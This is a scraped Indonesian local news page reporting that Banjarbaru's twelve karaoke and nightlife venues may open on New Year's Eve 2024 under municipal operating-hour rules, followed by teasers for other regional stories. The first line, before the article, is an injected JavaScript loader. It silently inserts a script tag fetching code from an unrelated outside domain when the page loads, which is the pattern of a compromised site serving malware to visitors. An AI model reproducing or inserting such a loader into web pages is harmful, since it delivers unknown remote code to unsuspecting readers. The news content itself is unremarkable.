(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Tak Ada Larangan Perayaan Tahun Baru di Banjarbaru, THM Akan Tetap Buka Sesuai Jam Operasional


KANALKALIMANTAN.COM, BANJARBARU – Kegiatan kafe dan tempat hiburan malam (THM) saat tahun baru 2024 di Kota Banjarbaru, Kalimantan Selatan (Kalsel) akan tetap dibuka.

Dinas Pemuda, Olahraga, Kebudayaan dan Pariwisata (Disporabudpar) Kota Banjarbaru mencatat sedikitnya ada 12 usaha jasa hiburan umum reakreasi dan olahraga permanen (karaoke) di Banjarbaru.

Dari 12 THM itu, Kepala Disporabudpar Kota Banjarbaru, Ahmad Yani Makkie menyebutkan semuanya akan tetap dibuka dengan jam operasional yang telah ditentukan.

Baca juga: Bawaslu Kalsel Rekrut 13.584 Pengawas TPS Pemilu 2024, Ini Syarat dan Ketentuannya

“Tetap buka dengan jam operasional yang ada. Saat malam tahun baru tepatnya pasa hari Minggu (31/12/2023) jam operasional buka pada pukul 11.00 Wita sampai 24.00 Wita,” jelas Yani, sapaan akrabnya, Rabu (27/12/2023).

Dalam ketentuan itu pula, lanjut dia, jam operasional THM setiap Sabtu atau malam Minggu akan diberi kelonggaran, yakni buka hingga pukul 01.00 Wita.

“Meski tetap dibuka kita tetap mengadakan pengawasan,” jelas dia.

Hal serupa disampaikan Kepala Bidang Pariwisata Disporabudpar Banjarbaru, Suhasmin Alfisyah, yang menyatakan bahwa segala kegiatan besar yang diselenggaran di THM juga akan tetap diperbolehkan untuk dilaksanakan.

Baca juga: Tak Ada Larangan Perayaan Tahun Baru di Banjarbaru, THM Akan Tetap Buka Sesuai Jam Operasional 

“Tidak masalah ada event atau kegiatan di THM selama tidak melanggar jam operasional, maka diperbolehkan saja,” sebut Fifi sapaan akrabranya.

Dia menjelaskan berbeda kegiatan natal sebelumnya THM di Banjarbaru memang dihimbau untuk tutup, perayaan tahun baru ini pihaknya hanya akan memberikan surat edaran terkait himbauan untuk menjaga keamanan dan ketertiban.

“Natal kemarin memang kita imbau untuk tutup, tapi malam tahun baru boleh kaya biasa dengan jam operasional yang disamakan,” ungkap dia.

Dia merincikan, sesuai Perwali No 80 Tahun 2016, terkait jam operasional usaha, paragraf satu poin hiburan umum pasal 5 diatur waktu operasional untuk Senin sampai dengan Rabu dari pukul 13.00 Wita sampai 24.00 Wita. Kamis dari pukul 13.00 Wita sampai 18.00 Wita.

Baca juga: THM di Banjarmasin Diperbolehkan Buka saat Malam Tahun Baru 

Jumat dari pukul 14.00 Wita sampai 01.00 Wita, Sabtu dari pukul 13.00 Wita sampai 01.00 Wita, dan Minggu dari pukul 11.00 Wita sampai 24.00 Wita.

Sementara itu untuk surat edaran, Disporabudpar akan mengeluarkan secara resmi terkait himbauan keamanan dan ketertiban selama perayaan libur tahun baru 2024 pada Kamis (29/12/2023).

Untuk diketahui, Perwali juga ikut mengatur terkait Izin Usaha Hiburan Umum Rekreasi dan Olahraga.

Pasa BAB IX pasal 20 menyebutkan bahwa pemegang izin usaha hiburan umum, rekreasi dan olahraga berupa karaoke dewasa, karaoke keluarga, pub/cafe, bola sodok biliar, panti pijat wajib untuk menutup kegiatan usahanya pada hari-hari besar keagamaan dan event keagamaan. (kanalkalimantan.com/wanda)

Reporter : wanda

Editor : Dhani


Muhammad Andi

Recent Posts

Dilakban di Paha, Empat Orang di Bandara Juwata Tarakan Selundupkan 4 Kg Sabu

KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More

5 jam ago

Satgas TMMD Bikin Sumur Bor untuk Warga Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More

7 jam ago

Jemaah Termuda Kloter 1 Daftar Haji saat Umur 10 Tahun, Setor 2014 Berangkat 2024

KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More

9 jam ago

Embarkasi Banjarmasin Berangkatkan 5.759 JCH Kalsel-Kalteng, Pelayanan Penuh Jemaah Lansia

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More

10 jam ago

Caleg Terpilih Tak Harus Mundur Jika Maju Pilkada, Begini Penjelasan Ketua KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More

12 jam ago

Lepas Keberangkatan 320 Calon Haji, Ini Pesan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More

13 jam ago

This website uses cookies.